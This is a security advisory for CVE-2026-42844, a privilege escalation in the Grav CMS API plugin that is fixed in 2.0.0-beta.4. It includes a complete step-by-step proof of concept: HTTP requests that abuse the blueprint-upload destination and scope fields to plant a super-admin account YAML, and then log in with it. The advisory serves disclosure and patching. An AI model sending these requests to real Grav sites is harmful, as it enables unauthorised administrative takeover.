getgrav/grav
Affected
- introduced
0, fixed2.0.0-beta.4(ecosystem)
Fixed versions
2.0.0-beta.4
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-42844
Low-privileged Grav API users can create super-admin accounts via blueprint-upload
Summary
In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.
This results in full administrative compromise of the Grav API.
Details
The vulnerability is located in the API plugin's blueprint upload flow:
user/plugins/api/classes/Api/ApiRouter.php:261user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417user/plugins/api/classes/Api/Controllers/AuthController.php:41-55The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.
When the request uses:
destination=self@:scope=users/anythingThe server resolves the write target to the shared account directory:
user/accounts/
The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.
The required attacker privilege is low:
access:
api:
access: true
media:
write: true
PoC
Step 1: Authenticate as the low-privileged API user
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close
{"username":"uploader","password":"Upload123A"}
Extract:
UPLOADER_TOKEN = <access_token from response>
Attachment:
<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />
Step 2: Upload a malicious account YAML file
POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close
------CodexBoundaryF01
Content-Disposition: form-data; name="destination"
self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"
users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml
email: [email protected]
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
site:
login: true
api:
super: true
------CodexBoundaryF01--
Expected result:
{
"data": [
{
"name": "pwned.yaml",
"path": "user/accounts/pwned.yaml"
}
]
}
Attachment:
<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />
Step 3: Log in as the newly created account
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close
{"username":"pwned","password":"Passw0rd!123"}
Expected result:
{
"data": {
"user": {
"username": "pwned",
"super_admin": true
}
}
}
Attachment:
<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />
Step 4: Verify privileged API access
GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close
Expected result:
The request succeeds and returns system-level information.
Attachment:
<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />
Impact
This is an authenticated vertical privilege-escalation vulnerability.
Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:
In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.
This issue was reproduced locally:
user/accounts/pwned.yamlpwned succeededsuper_admin = true/api/v1/system/info were accessibleHigh Basis: The source's own band: HIGH
0, fixed 2.0.0-beta.4 (ecosystem)2.0.0-beta.4
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0